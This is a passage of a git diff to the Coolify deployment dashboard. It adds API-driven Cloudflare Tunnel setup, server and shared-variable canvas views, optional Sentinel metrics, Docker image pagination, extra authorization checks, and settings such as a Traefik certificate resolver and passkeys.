a/app/Livewire/Security/IntegrationTokenForm.php +++ b/app/Livewire/Security/IntegrationTokenForm.php @@ -27,6 +27,8 @@ class IntegrationTokenForm extends Component public bool $automaticDns = true; + public bool $proxiedDns = false; + public function mount(): void { $this->authorize('create', IntegrationToken::class); @@ -38,6 +40,7 @@ class IntegrationTokenForm extends Component $this->capabilities = ['dns']; $this->metadata = []; $this->automaticDns = true; + $this->proxiedDns = false; } else { $this->capabilities = ['secrets']; $this->metadata = $this->provider === 'infisical' @@ -46,17 +49,30 @@ class IntegrationTokenForm extends Component } } + /** + * Cloudflare Tunnel setup also writes DNS records, so selecting `tunnel` also selects `dns`. + */ + public function updatedCapabilities(): void + { + if (in_array('tunnel', $this->capabilities, true) && ! in_array('dns', $this->capabilities, true)) { + $this->capabilities[] = 'dns'; + } + } + protected function rules(): array { - $allowedCapability = $this->provider === 'cloudflare' ? 'dns' : 'secrets'; - $rules = [ 'provider' => ['required', 'in:'.implode(',', array_keys(IntegrationToken::PROVIDER_NAMES))], 'name' => ['required', 'string', 'max:255'], 'token' => ['required', 'string'], - 'capabilities' => ['required', 'array', 'min:1'], - 'capabilities.*' => ['required', 'in:'.$allowedCapability], + 'capabilities' => ['required', 'array', 'min:1', function (string $attribute, mixed $value, \Closure $fail): void { + if (is_array($value) && in_array('tunnel', $value, true) && ! in_array('dns', $value, true)) { + $fail('Cloudflare Tunnel also needs the DNS capability.'); + } + }], + 'capabilities.*' => ['required', 'in:'.implode(',', IntegrationToken::allowedCapabilities($this->provider))], 'automaticDns' => ['boolean'], + 'proxiedDns' => ['boolean'], ]; if ($this->provider === 'infisical') { @@ -94,6 +110,9 @@ class IntegrationTokenForm extends Component if ($validated['provider'] === 'cloudflare' && ! $validated['automaticDns']) { $metadata['automatic_dns'] = false; } + if ($validated['provider'] === 'cloudflare' && $validated['proxiedDns']) { + $metadata['proxied_dns'] = true; + } try { if (! $validator->validate($validated['provider'], $validated['token'], $validated['capabilities'], $metadata)) { @@ -122,7 +141,7 @@ class IntegrationTokenForm extends Component ]); $this->reset(['name', 'token']); - $this->dispatch('integrationTokenAdded')->to(IntegrationTokens::class); + $this->dispatch('integrationTokenAdded'); if ($this->modal_mode) { $this->dispatch('close-modal'); diff --git a/app/Livewire/Security/IntegrationTokens.php b/app/Livewire/Security/IntegrationTokens.php index 34b2b38a07..0b02593726 100644 --- a/app/Livewire/Security/IntegrationTokens.php +++ b/app/Livewire/Security/IntegrationTokens.php @@ -20,6 +20,7 @@ class IntegrationTokens extends Component } #[On('integrationTokenAdded')] + #[On('integration-token-deleted')] public function loadTokens(): void { $this->tokens = IntegrationToken::ownedByCurrentTeam()->withCount('dnsZones')->latest()->get(); diff --git a/app/Livewire/Server/Canvas.php b/app/Livewire/Server/Canvas.php new file mode 100644 index 0000000000..dd5c64fb46 --- /dev/null +++ b/app/Livewire/Server/Canvas.php @@ -0,0 +1,46 @@ +server = Server::ownedByCurrentTeam()->whereUuid($server_uuid)->firstOrFail(); + $this->authorize('view', $this->server); + $this->teamId = $this->server->team_id; + $this->rememberView('server_resources', 'canvas'); + } else { + $this->teamId = currentTeam()->id; + $this->rememberView('servers', 'canvas'); + } + } + + public function render(): View + { + return view('livewire.server.canvas')->layout('layouts.app', ['fullBleed' => true]); + } +} diff --git a/app/Livewire/Server/Charts.php b/app/Livewire/Server/Charts.php index c77662315a..6ff1f682fa 100644 --- a/app/Livewire/Server/Charts.php +++ b/app/Livewire/Server/Charts.php @@ -104,15 +104,37 @@ class Charts extends Component try { $cpuMetrics = $this->server->getCpuMetrics($this->interval); $memoryMetrics = $this->server->getMemoryMetrics($this->interval); + // Disk/network/load arrived in a later Sentinel; fetch each optionally so an + // older Sentinel (which 404s them) still shows CPU and memory. + $diskMetrics = $this->optionalMetric(fn () => $this->server->getDiskMetrics($this->interval)); + $loadMetrics = $this->optionalMetric(fn () => $this->server->getLoadMetrics($this->interval)); + $networkMetrics = $this->optionalMetric(fn () => $this->server->getNetworkMetrics($this->interval)) ?? []; $this->dispatch("refreshChartData-{$this->chartId}-metrics", [ 'cpuSeries' => $cpuMetrics, 'memorySeries' => $memoryMetrics, + 'diskSeries' => $diskMetrics, + 'loadSeries' => $loadMetrics, + 'networkRxSeries' => $networkMetrics['rx'] ?? [], + 'networkTxSeries' => $networkMetrics['tx'] ?? [], ]); } catch (\Throwable $e) { return handleError($e, $this); } } + /** + * Fetch a metric that may not exist on an older Sentinel; a failure yields null + * rather than breaking the whole chart refresh. + */ + private function optionalMetric(callable $fetch): mixed + { + try { + return $fetch(); + } catch (\Throwable) { + return null; + } + } + /** * Metrics settings belong to Sentinel, so they use the same event as the Sentinel page and API. * diff --git a/app/Livewire/Server/CloudflareTunnel.php b/app/Livewire/Server/CloudflareTunnel.php index bf0172a6d9..31bca417f6 100644 --- a/app/Livewire/Server/CloudflareTunnel.php +++ b/app/Livewire/Server/CloudflareTunnel.php @@ -4,9 +4,17 @@ namespace App\Livewire\Server; use App\Actions\Server\ConfigureCloudflared; use App\Actions\Server\UpdateCloudflared; +use App\Exceptions\DnsRecordConflictException; +use App\Models\IntegrationToken; use App\Models\Server; +use App\Rules\ValidHostname; +use App\Services\CloudflareTunnelService; use App\Traits\ListensToTeamChannel; +use Illuminate\Contracts\Cache\LockTimeoutException; +use Illuminate\Database\Eloquent\Collection; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Livewire\Attributes\Locked; +use Livewire\Attributes\On; use Livewire\Attributes\Validate; use Livewire\Component; @@ -26,6 +34,18 @@ class CloudflareTunnel extends Component #[Validate(['required', 'boolean'])] public bool $isCloudflareTunnelsEnabled; + public ?int $cloudflare_integration_token_id = null; + + public string $api_ssh_domain = ''; + + /** + * An existing DNS record on the hostname that blocks the tunnel CNAME, waiting for the user to confirm its replacement. + * + * @var array{record_id: string, current: string, hostname: string, token_id: int}|null + */ + #[Locked] + public ?array $dnsConflict = null; + public function getListeners() { return $this->teamChannelListeners([ @@ -33,6 +53,18 @@ class CloudflareTunnel extends Component ]); } + /** + * Selects the token that the user just added from this page, when it is the only one that can manage tunnels. + */ + #[On('integrationTokenAdded')] + public function selectAddedToken(): void + { + $tunnelTokens = $this->tunnelTokens(); + if ($this->cloudflare_integration_token_id === null && $tunnelTokens->count() === 1) { + $this->cloudflare_integration_token_id = $tunnelTokens->first()->id; + } + } + public function refresh() { $this->server->refresh(); @@ -52,11 +84,17 @@ class CloudflareTunnel extends Component } } - public function toggleCloudflareTunnels() + public function toggleCloudflareTunnels(CloudflareTunnelService $tunnels) { try { $this->authorize('update', $this->server); - remote_process(['docker rm -f coolify-cloudflared'], $this->server, false, 10); + if (filled($this->server->settings->cloudflare_tunnel_id)) { + foreach ($tunnels->tearDown($this->server) as $warning) { + $this->dispatch('warning', $warning); + } + } else { + remote_process(['docker rm -f coolify-cloudflared'], $this->server, false, 10); + } $this->isCloudflareTunnelsEnabled = false; $this->server->settings->is_cloudflare_tunnel = false; $this->server->settings->save(); @@ -91,10 +129,7 @@ class CloudflareTunnel extends Component { try { $this->authorize('update', $this->server); - if (str($this->ssh_domain)->contains('https://')) { - $this->ssh_domain = str($this->ssh_domain)->replace('https://', '')->replace('http://', '')->trim(); - $this->ssh_domain = str($this->ssh_domain)->replace('/', ''); - } + $this->ssh_domain = $this->normalizeSshDomain($this->ssh_domain); $activity = ConfigureCloudflared::run($this->server, $this->cloudflare_token, $this->ssh_domain); auditLog('ui.server.cloudflare_tunnel.configuration_started', $this->auditContext([ 'ssh_domain' => (string) $this->ssh_domain, @@ -118,9 +153,101 @@ class CloudflareTunnel extends Component } } + public function apiCloudflareConfig(CloudflareTunnelService $tunnels): void + { + $this->authorize('update', $this->server); + $this->api_ssh_domain = $this->normalizeSshDomain($this->api_ssh_domain); + $this->validate([ + 'cloudflare_integration_token_id' => ['required', 'integer'], + 'api_ssh_domain' => ['required', 'string', new ValidHostname], + ], [], ['cloudflare_integration_token_id' => 'Cloudflare token', 'api_ssh_domain' => 'SSH hostname']); + + $token = $this->tunnelTokens()->firstWhere('id', $this->cloudflare_integration_token_id); + if ($token === null) { + $this->addError('cloudflare_integration_token_id', 'Select a Cloudflare token of this server team with the Cloudflare Tunnel capability.'); + + return; + } + + $this->dnsConflict = null; + $this->startApiSetup($tunnels, $token, $this->api_ssh_domain); + } + + public function replaceDnsAndConfigure(CloudflareTunnelService $tunnels): void + { + $this->authorize('update', $this->server); + $conflict = $this->dnsConflict; + $token = $conflict === null ? null : $this->tunnelTokens()->firstWhere('id', $conflict['token_id']); + if ($conflict === null || $token === null) { + $this->dnsConflict = null; + $this->dispatch('error', 'The DNS conflict is no longer available. Set up the tunnel again.'); + + return; + } + + $this->dnsConflict = null; + $this->startApiSetup($tunnels, $token, $conflict['hostname'], $conflict); + } + public function render() { - return view('livewire.server.cloudflare-tunnel'); + $cloudflareTokens = IntegrationToken::query() + ->where('team_id', $this->server->team_id) + ->where('provider', 'cloudflare') + ->count(); + + return view('livewire.server.cloudflare-tunnel', [ + 'tunnelTokens' => $this->tunnelTokens(), + 'hasCloudflareTokens' => $cloudflareTokens > 0, + ]); + } + + /** + * Cloudflare tokens of the server's team (not the session team) that can manage tunnels. + * + * @return Collection + */ + private function tunnelTokens(): Collection + { + return IntegrationToken::query() + ->where('team_id', $this->server->team_id) + ->where('provider', 'cloudflare') + ->orderBy('name') + ->get() + ->filter(fn (IntegrationToken $token): bool => $token->hasCapability('tunnel')) + ->values(); + } + + /** + * @param array{record_id: string, current: string}|null $confirmedConflict + */ + private function startApiSetup(CloudflareTunnelService $tunnels, IntegrationToken $token, string $hostname, ?array $confirmedConflict = null): void + { + try { + $activity = $tunnels->setUp($this->server, $token, $hostname, $confirmedConflict); + auditLog('ui.server.cloudflare_tunnel.api_configuration_started', $this->auditContext([ + 'ssh_domain' => $hostname, + 'integration_token_uuid' => $token->uuid, + ])); + $this->dispatch('automated'); + $this->dispatch('activityMonitor', $activity->id); + } catch (DnsRecordConflictException $e) { + $this->dnsConflict = [ + 'record_id' => $e->providerRecordId, + 'current' => $e->currentValue, + 'hostname' => $hostname, + 'token_id' => $token->id, + ]; + } catch (LockTimeoutException) { + $this->dispatch('error', "Another DNS change for {$hostname} is in progress. Try again in a few seconds."); + } catch (\Throwable $e) { + handleError($e, $this); + } + } + + private function normalizeSshDomain(string $domain): string + { + return str($domain)->replace(['https://', 'http://'], '')->replace('/', '')->trim()->lower()->value(); } /** diff --git a/app/Livewire/Server/DockerCleanupExecutions.php b/app/Livewire/Server/DockerCleanupExecutions.php index 6cb76fc9f3..763115aa20 100644 --- a/app/Livewire/Server/DockerCleanupExecutions.php +++ b/app/Livewire/Server/DockerCleanupExecutions.php @@ -4,12 +4,13 @@ namespace App\Livewire\Server; use App\Models\Server; use App\Traits\ListensToTeamChannel; +use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Collection; use Livewire\Component; class DockerCleanupExecutions extends Component { - use ListensToTeamChannel; + use AuthorizesRequests, ListensToTeamChannel; public Server $server; @@ -34,12 +35,15 @@ class DockerCleanupExecutions extends Component public function mount(Server $server) { + $this->authorize('view', $server); $this->server = $server; $this->refreshExecutions(); } public function refreshExecutions(): void { + $this->authorize('view', $this->server); + $this->executions = $this->server->dockerCleanupExecutions() ->orderBy('created_at', 'desc') ->take(20) @@ -55,6 +59,8 @@ class DockerCleanupExecutions extends Component public function selectExecution($key): void { + $this->authorize('view', $this->server); + if ($key == $this->selectedKey) { $this->selectedKey = null; $this->selectedExecution = null; @@ -74,6 +80,8 @@ class DockerCleanupExecutions extends Component public function polling() { + $this->authorize('view', $this->server); + if ($this->selectedExecution && $this->isPollingActive) { $this->selectedExecution->refresh(); if ($this->selectedExecution->status !== 'running') { @@ -85,6 +93,8 @@ class DockerCleanupExecutions extends Component public function loadMoreLogs() { + $this->authorize('view', $this->server); + $this->currentPage++; } @@ -105,6 +115,8 @@ class DockerCleanupExecutions extends Component public function downloadLogs(int $executionId) { + $this->authorize('view', $this->server); + $execution = $this->executions->firstWhere('id', $executionId); if (! $execution) { return; diff --git a/app/Livewire/Server/DockerImages.php b/app/Livewire/Server/DockerImages.php index c552002219..641a686851 100644 --- a/app/Livewire/Server/DockerImages.php +++ b/app/Livewire/Server/DockerImages.php @@ -4,12 +4,15 @@ namespace App\Livewire\Server; use App\Models\Server; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\Pagination\LengthAwarePaginator; use Livewire\Attributes\Locked; use Livewire\Component; +use Livewire\WithPagination; class DockerImages extends Component { use AuthorizesRequests; + use WithPagination; public Server $server; @@ -27,6 +30,19 @@ class DockerImages extends Component public bool $loaded = false; + public int $perPage = 10; + + public function updatedSearch(): void + { + $this->resetPage(); + } + + public function updatedPerPage(): void + { + $this->perPage = max(1, min(100, $this->perPage)); + $this->resetPage(); + } + public function mount(string $server_uuid) { try { @@ -159,10 +175,22 @@ class DockerImages extends Component ->contains($search, ignoreCase: true)); } + $this->perPage = max(1, min(100, $this->perPage)); + $lastPage = max(1, (int) ceil($images->count() / $this->perPage)); + $page = max(1, min((int) $this->getPage(), $lastPage)); + if ($page !== $this->getPage()) { + $this->setPage($page); + } + return view('livewire.server.docker-images', [ // Not "images": Livewire shares public properties with the view, so that name is // already taken by the unfiltered array. - 'visibleImages' => $images->values(), + 'visibleImages' => new LengthAwarePaginator( + $images->forPage($page, $this->perPage)->values(), + $images->count(), + $this->perPage, + $page, + ), ]); } } diff --git a/app/Livewire/Server/DockerRegistries/ServerRegistries.php b/app/Livewire/Server/DockerRegistries/ServerRegistries.php index 7f6e169662..b3d2acc152 100644 --- a/app/Livewire/Server/DockerRegistries/ServerRegistries.php +++ b/app/Livewire/Server/DockerRegistries/ServerRegistries.php @@ -5,6 +5,7 @@ namespace App\Livewire\Server\DockerRegistries; use App\Models\Server; use App\Services\DockerRegistryLogins; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\View\View; use Livewire\Attributes\Lazy; use Livewire\Attributes\Locked; use Livewire\Attributes\On; @@ -104,13 +105,9 @@ class ServerRegistries extends Component $this->loadRegistries(); } - public function placeholder(): string + public function placeholder(): View { - return <<<'HTML' -
- Loading registries... -
- HTML; + return view('livewire.server.docker-registries.server-registries-placeholder'); } public function render() diff --git a/app/Livewire/Server/Index.php b/app/Livewire/Server/Index.php index eb832d72f7..a7d30f89ad 100644 --- a/app/Livewire/Server/Index.php +++ b/app/Livewire/Server/Index.php @@ -2,16 +2,25 @@ namespace App\Livewire\Server; +use App\Livewire\Concerns\RemembersCanvasView; use App\Models\Server; use Illuminate\Database\Eloquent\Collection; use Livewire\Component; class Index extends Component { + use RemembersCanvasView; + public ?Collection $servers = null; - public function mount() + public function mount(): void { + if ($this->prefersCanvasView('servers')) { + $this->redirectRoute('server.canvas.index', navigate: true); + + return; + } + $this->servers = Server::ownedByCurrentTeamCached(); } diff --git a/app/Livewire/Server/New/ByHetzner.php b/app/Livewire/Server/New/ByHetzner.php index aadcb7b0c1..868b9e44b3 100644 --- a/app/Livewire/Server/New/ByHetzner.php +++ b/app/Livewire/Server/New/ByHetzner.php @@ -721,7 +721,7 @@ class ByHetzner extends Component if ($this->enable_ipv4 && isset($hetznerServer['public_net']['ipv4']['ip'])) { $ipAddress = $hetznerServer['public_net']['ipv4']['ip']; } elseif ($this->enable_ipv6 && isset($hetznerServer['public_net']['ipv6']['ip'])) { - $ipAddress = $hetznerServer['public_net']['ipv6']['ip']; + $ipAddress = hetznerServerIpv6($hetznerServer['public_net']['ipv6']['ip']); } // Create server in Coolify database immediately so the Hetzner diff --git a/app/Livewire/Server/New/ByIp.php b/app/Livewire/Server/New/ByIp.php index 6d35d73df8..d3bb69ae64 100644 --- a/app/Livewire/Server/New/ByIp.php +++ b/app/Livewire/Server/New/ByIp.php @@ -143,6 +143,7 @@ class ByIp extends Component $this->validate(); try { $this->authorize('create', Server::class); + $this->ip = Server::normalizeIp($this->ip); $foundServer = Server::whereIp($this->ip)->first(); if ($foundServer) { return $this->dispatch('error', 'A server with this IP/Domain already exists.'); diff --git a/app/Livewire/Server/Proxy.php b/app/Livewire/Server/Proxy.php index 6b7a3859e5..42b802ba5a 100644 --- a/app/Livewire/Server/Proxy.php +++ b/app/Livewire/Server/Proxy.php @@ -6,6 +6,7 @@ use App\Actions\Proxy\GetProxyConfiguration; use App\Actions\Proxy\SaveProxyConfiguration; use App\Enums\ProxyTypes; use App\Models\Server; +use App\Models\ServerSetting; use App\Rules\SafeExternalUrl; use App\Traits\ListensToTeamChannel; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -30,6 +31,8 @@ class Proxy extends Component public bool $generateExactLabels = false; + public ?string $certificateResolver = null; + /** * Cache the versions.json file data in memory for this component instance. * This avoids multiple file reads during a single request/render cycle. @@ -51,6 +54,7 @@ class Proxy extends Component return [ 'generateExactLabels' => 'required|boolean', 'redirectUrl' => ['nullable', new SafeExternalUrl], + 'certificateResolver' => ['nullable', 'string', 'max:255', 'regex:'.ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_PATTERN], 'customErrorPage' => ['nullable', 'string', proxyPageSizeRule('custom error page')], ]; } @@ -69,8 +73,10 @@ class Proxy extends Component { if ($toModel) { $this->server->settings->generate_exact_labels = $this->generateExactLabels; + $this->server->settings->traefik_certificate_resolver = $this->certificateResolver ?: null; } else { $this->generateExactLabels = $this->server->settings->generate_exact_labels ?? false; + $this->certificateResolver = $this->server->settings->traefik_certificate_resolver; } } @@ -166,16 +172,27 @@ class Proxy extends Component try { $this->authorize('update', $this->server); $this->validate(); - $this->syncData(true); - $changedFields = auditChangedFields($this->server->settings); - $this->server->settings->save(); - $this->auditProxyUpdate($changedFields); + $this->saveSettings(); $this->dispatch('success', 'Settings saved.'); } catch (\Throwable $e) { return handleError($e, $this); } } + private function saveSettings(): void + { + $this->syncData(true); + $changedFields = auditChangedFields($this->server->settings); + $this->server->settings->save(); + $this->auditProxyUpdate($changedFields); + + // Coolify's own dashboard and catch-all routes use the resolver too. + if (in_array('traefik_certificate_resolver', $changedFields, true)) { + $this->server->setupDynamicProxyConfiguration(); + $this->server->setupDefaultRedirect(); + } + } + public function instantSaveRedirect() { try { @@ -214,6 +231,7 @@ class Proxy extends Component $this->server->proxy->redirect_url = $this->redirectUrl; $this->server->proxy_error_page = filled($this->customErrorPage) ? $this->customErrorPage : null; $this->server->save(); + $this->saveSettings(); auditLog('ui.server.proxy.configuration_saved', $this->proxyAuditContext()); $this->server->setupDefaultRedirect(); $this->dispatch('refreshServerShow'); diff --git a/app/Livewire/Server/Resources.php b/app/Livewire/Server/Resources.php index dd62a9e776..86f87cc13f 100644 --- a/app/Livewire/Server/Resources.php +++ b/app/Livewire/Server/Resources.php @@ -2,6 +2,7 @@ namespace App\Livewire\Server; +use App\Livewire\Concerns\RemembersCanvasView; use App\Models\Server; use App\Support\ValidationPatterns; use App\Traits\ListensToTeamChannel; @@ -14,6 +15,7 @@ class Resources extends Component { use AuthorizesRequests; use ListensToTeamChannel; + use RemembersCanvasView; use WithPagination; public int $perPage = 10; @@ -144,6 +146,9 @@ class Resources extends Component if (is_null($this->server)) { return redirect()->route('server.index'); } + if ($this->prefersCanvasView('server_resources')) { + return $this->redirectRoute('server.canvas', ['server_uuid' => $this->server->uuid], navigate: true); + } } catch (\Throwable $e) { return handleError($e, $this); } diff --git a/app/Livewire/Server/Show.php b/app/Livewire/Server/Show.php index 839f545ae2..4cb59e1996 100644 --- a/app/Livewire/Server/Show.php +++ b/app/Livewire/Server/Show.php @@ -250,9 +250,12 @@ class Show extends Component { if ($toModel) { $this->validate(); - $foundServer = Server::where('ip', $this->ip) + $this->ip = Server::normalizeIp($this->ip); + // Check only a changed IP, so that an old duplicate does not block saving other fields. + $ipChanged = $this->ip !== Server::normalizeIp($this->server->getRawOriginal('ip')); + $foundServer = $ipChanged ? Server::where('ip', $this->ip) ->where('id', '!=', $this->server->id) - ->first(); + ->first() : null; if ($foundServer) { $this->ip = $this->server->ip; throw new \Exception('A server with this IP/Domain already exists.'); @@ -605,7 +608,7 @@ class Show extends Component $this->server->update(['hetzner_server_status' => $this->hetznerServerStatus]); } - $assignedIp = data_get($serverData, 'public_net.ipv4.ip') ?? data_get($serverData, 'public_net.ipv6.ip'); + $assignedIp = data_get($serverData, 'public_net.ipv4.ip') ?? hetznerServerIpv6(data_get($serverData, 'public_net.ipv6.ip')); if ($this->server->backfillPlaceholderIp($assignedIp)) { $this->ip = $this->server->ip; } diff --git a/app/Livewire/Settings/Advanced.php b/app/Livewire/Settings/Advanced.php index a3855eac3b..28cbc971d2 100644 --- a/app/Livewire/Settings/Advanced.php +++ b/app/Livewire/Settings/Advanced.php @@ -41,6 +41,9 @@ class Advanced extends Component #[Validate('boolean')] public bool $disable_two_step_confirmation; + #[Validate('boolean')] + public bool $is_passkey_enabled; + #[Validate('boolean')] public bool $is_wire_navigate_enabled; @@ -72,6 +75,7 @@ class Advanced extends Component 'allowed_ips' => ['nullable', 'string', new ValidIpOrCidr], 'is_sponsorship_popup_enabled' => 'boolean', 'disable_two_step_confirmation' => 'boolean', + 'is_passkey_enabled' => 'boolean', 'is_wire_navigate_enabled' => 'boolean', 'is_mcp_server_enabled' => 'boolean', 'webhook_allowed_internal_hosts' => 'nullable|string', @@ -95,6 +99,7 @@ class Advanced extends Component $this->is_dns_validation_enabled = $this->settings->is_dns_validation_enabled; $this->is_api_enabled = $this->settings->is_api_enabled; $this->disable_two_step_confirmation = $this->settings->disable_two_step_confirmation; + $this->is_passkey_enabled = $this->settings->is_passkey_enabled ?? true; $this->is_sponsorship_popup_enabled = $this->settings->is_sponsorship_popup_enabled; $this->is_wire_navigate_enabled = $this->settings->is_wire_navigate_enabled ?? true; $this->is_mcp_server_enabled = $this->settings->is_mcp_server_enabled ?? false; @@ -216,6 +221,7 @@ class Advanced extends Component $this->settings->allowed_ips = $this->allowed_ips; $this->settings->is_sponsorship_popup_enabled = $this->is_sponsorship_popup_enabled; $this->settings->disable_two_step_confirmation = $this->disable_two_step_confirmation; + $this->settings->is_passkey_enabled = $this->is_passkey_enabled; $this->settings->is_wire_navigate_enabled = $this->is_wire_navigate_enabled; $this->settings->is_mcp_server_enabled = $this->is_mcp_server_enabled; $this->settings->webhook_allowed_internal_hosts = $webhookAllowedInternalHosts ?? $this->settings->webhook_allowed_internal_hosts ?? []; diff --git a/app/Livewire/SettingsBackup.php b/app/Livewire/SettingsBackup.php index a7e8b89488..0f92b2ad34 100644 --- a/app/Livewire/SettingsBackup.php +++ b/app/Livewire/SettingsBackup.php @@ -46,6 +46,8 @@ class SettingsBackup extends Component #[Validate(['required'])] public string $postgres_password; + public bool $is_backup_before_update_enabled; + public function mount() { if (! isInstanceAdmin()) { @@ -75,6 +77,7 @@ class SettingsBackup extends Component $this->executions = $this->backup?->executions ?? []; } $this->settings = $settings; + $this->is_backup_before_update_enabled = $settings->is_backup_before_update_enabled; $this->s3s = $s3s; } @@ -136,6 +139,27 @@ class SettingsBackup extends Component } } + public function instantSave() + { + try { + $this->authorize('update', $this->settings); + $this->settings->is_backup_before_update_enabled = $this->is_backup_before_update_enabled; + $changedFields = auditChangedFields($this->settings); + $this->settings->save(); + if ($changedFields !== []) { + auditLog('ui.instance.settings.updated', [ + 'team_id' => null, + 'resource' => 'instance', + 'section' => 'backup', + 'changed_fields' => $changedFields, + ]); + } + $this->dispatch('success', 'Backup updated.'); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + public function submit() { try { diff --git a/app/Livewire/SharedVariables/Canvas.php b/app/Livewire/SharedVariables/Canvas.php new file mode 100644 index 0000000000..44304cafce --- /dev/null +++ b/app/Livewire/SharedVariables/Canvas.php @@ -0,0 +1,147 @@ +teamId = currentTeam()->id; + $this->projectUuid = $project_uuid; + $this->environmentUuid = $environment_uuid; + $this->serverUuid = $server_uuid; + $this->scope = match (true) { + $server_uuid !== null => 'server', + $environment_uuid !== null => 'environment', + $project_uuid !== null => 'project', + default => 'team', + }; + $owner = $this->owner(); + $this->authorize('view', $owner); + + $this->endpoint = $this->scope === 'team' + ? '/shared-variables/team/canvas' + : "/shared-variables/{$this->scope}/{$owner->uuid}/canvas"; + $this->listUrl = $canvas->pageLink($this->scope, $owner); + $this->rememberView("{$this->scope}_variables", 'canvas'); + } + + /** + * Saves a variable from the "Add variable" modal (the Add component dispatches saveKey), + * then reloads the canvas so it shows the new card. + * + * @param array{key: string, value: string, is_multiline: bool, is_literal: bool, comment?: ?string} $data + */ + #[On('saveKey')] + public function saveKey(array $data) + { + try { + $owner = $this->owner(); + $this->authorize('update', $owner); + + if ($this->scope === 'server' && in_array($data['key'], ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])) { + throw new \Exception('Cannot create predefined variable.'); + } + if ($owner->environment_variables()->where('key', $data['key'])->exists()) { + throw new \Exception('Variable already exists.'); + } + $owner->environment_variables()->create([ + 'key' => $data['key'], + 'value' => $data['value'], + 'is_multiline' => $data['is_multiline'], + 'is_literal' => $data['is_literal'], + 'comment' => $data['comment'] ?? null, + 'type' => $this->scope, + 'team_id' => $this->ownerTeamId($owner), + ]); + + return $this->redirect($this->canvasUrl(), navigate: true); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + /** + * The team, project, environment, or server whose variables the canvas shows, scoped to the page's team. + */ + private function owner(): Team|Project|Environment|Server + { + $teamId = $this->teamId; + + return match ($this->scope) { + 'server' => Server::query()->where('team_id', $teamId)->where('uuid', $this->serverUuid)->firstOrFail(), + 'environment' => Environment::query()->where('uuid', $this->environmentUuid) + ->whereHas('project', fn ($query) => $query->where('team_id', $teamId)->where('uuid', $this->projectUuid))->with('project')->firstOrFail(), + 'project' => Project::query()->where('team_id', $teamId)->where('uuid', $this->projectUuid)->firstOrFail(), + default => Team::query()->findOrFail($teamId), + }; + } + + private function ownerTeamId(Team|Project|Environment|Server $owner): int + { + return match (true) { + $owner instanceof Team => $owner->id, + $owner instanceof Environment => $owner->project->team_id, + default => $owner->team_id, + }; + } + + private function canvasUrl(): string + { + return match ($this->scope) { + 'server' => route('shared-variables.server.canvas', ['server_uuid' => $this->serverUuid]), + 'environment' => route('shared-variables.environment.canvas', ['project_uuid' => $this->projectUuid, 'environment_uuid' => $this->environmentUuid]), + 'project' => route('shared-variables.project.canvas', ['project_uuid' => $this->projectUuid]), + default => route('shared-variables.team.canvas'), + }; + } + + public function render(): View + { + return view('livewire.shared-variables.canvas', [ + 'canAddVariables' => auth()->user()->can('update', $this->owner()), + ])->layout('layouts.app', ['fullBleed' => true]); + } +} diff --git a/app/Livewire/SharedVariables/Environment/Show.php b/app/Livewire/SharedVariables/Environment/Show.php index 5e07fc4f72..73c023f321 100644 --- a/app/Livewire/SharedVariables/Environment/Show.php +++ b/app/Livewire/SharedVariables/Environment/Show.php @@ -2,6 +2,7 @@ namespace App\Livewire\SharedVariables\Environment; +use App\Livewire\Concerns\RemembersCanvasView; use App\Models\Application; use App\Models\Project; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -11,6 +12,7 @@ use Livewire\Component; class Show extends Component { use AuthorizesRequests; + use RemembersCanvasView; public Project $project; @@ -59,6 +61,9 @@ class Show extends Component $this->project = Project::ownedByCurrentTeam()->where('uuid', $projectUuid)->firstOrFail(); $this->environment = $this->project->environments()->where('uuid', $environmentUuid)->firstOrFail(); + if ($this->prefersCanvasView('environment_variables')) { + return $this->redirectRoute('shared-variables.environment.canvas', ['project_uuid' => $this->project->uuid, 'environment_uuid' => $this->environment->uuid], navigate: true); + } $this->getDevView(); } diff --git a/app/Livewire/SharedVariables/Project/Show.php b/app/Livewire/SharedVariables/Project/Show.php index af06ce7d7f..73590db941 100644 --- a/app/Livewire/SharedVariables/Project/Show.php +++ b/app/Livewire/SharedVariables/Project/Show.php @@ -2,6 +2,7 @@ namespace App\Livewire\SharedVariables\Project; +use App\Livewire\Concerns\RemembersCanvasView; use App\Models\Project; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\DB; @@ -10,6 +11,7 @@ use Livewire\Component; class Show extends Component { use AuthorizesRequests; + use RemembersCanvasView; public Project $project; @@ -53,6 +55,9 @@ class Show extends Component return redirect()->route('dashboard'); } $this->project = $project; + if ($this->prefersCanvasView('project_variables')) { + return $this->redirectRoute('shared-variables.project.canvas', ['project_uuid' => $project->uuid], navigate: true); + } $this->getDevView(); } diff --git a/app/Livewire/SharedVariables/Server/Show.php b/app/Livewire/SharedVariables/Server/Show.php index ee89b2dcd3..e775c50257 100644 --- a/app/Livewire/SharedVariables/Server/Show.php +++ b/app/Livewire/SharedVariables/Server/Show.php @@ -2,6 +2,7 @@ namespace App\Livewire\SharedVariables\Server; +use App\Livewire\Concerns\RemembersCanvasView; use App\Models\Server; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\DB; @@ -10,6 +11,7 @@ use Livewire\Component; class Show extends Component { use AuthorizesRequests; + use RemembersCanvasView; public Server $server; @@ -58,6 +60,9 @@ class Show extends Component } $this->authorize('view', $server); $this->server = $server; + if ($this->prefersCanvasView('server_variables')) { + return $this->redirectRoute('shared-variables.server.canvas', ['server_uuid' => $server->uuid], navigate: true); + } $this->getDevView(); } diff --git a/app/Livewire/SharedVariables/Team/Index.php b/app/Livewire/SharedVariables/Team/Index.php index b7052590b2..034e71c223 100644 --- a/app/Livewire/SharedVariables/Team/Index.php +++ b/app/Livewire/SharedVariables/Team/Index.php @@ -2,6 +2,7 @@ namespace App\Livewire\SharedVariables\Team; +use App\Livewire\Concerns\RemembersCanvasView; use App\Models\Team; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\DB; @@ -10,6 +11,7 @@ use 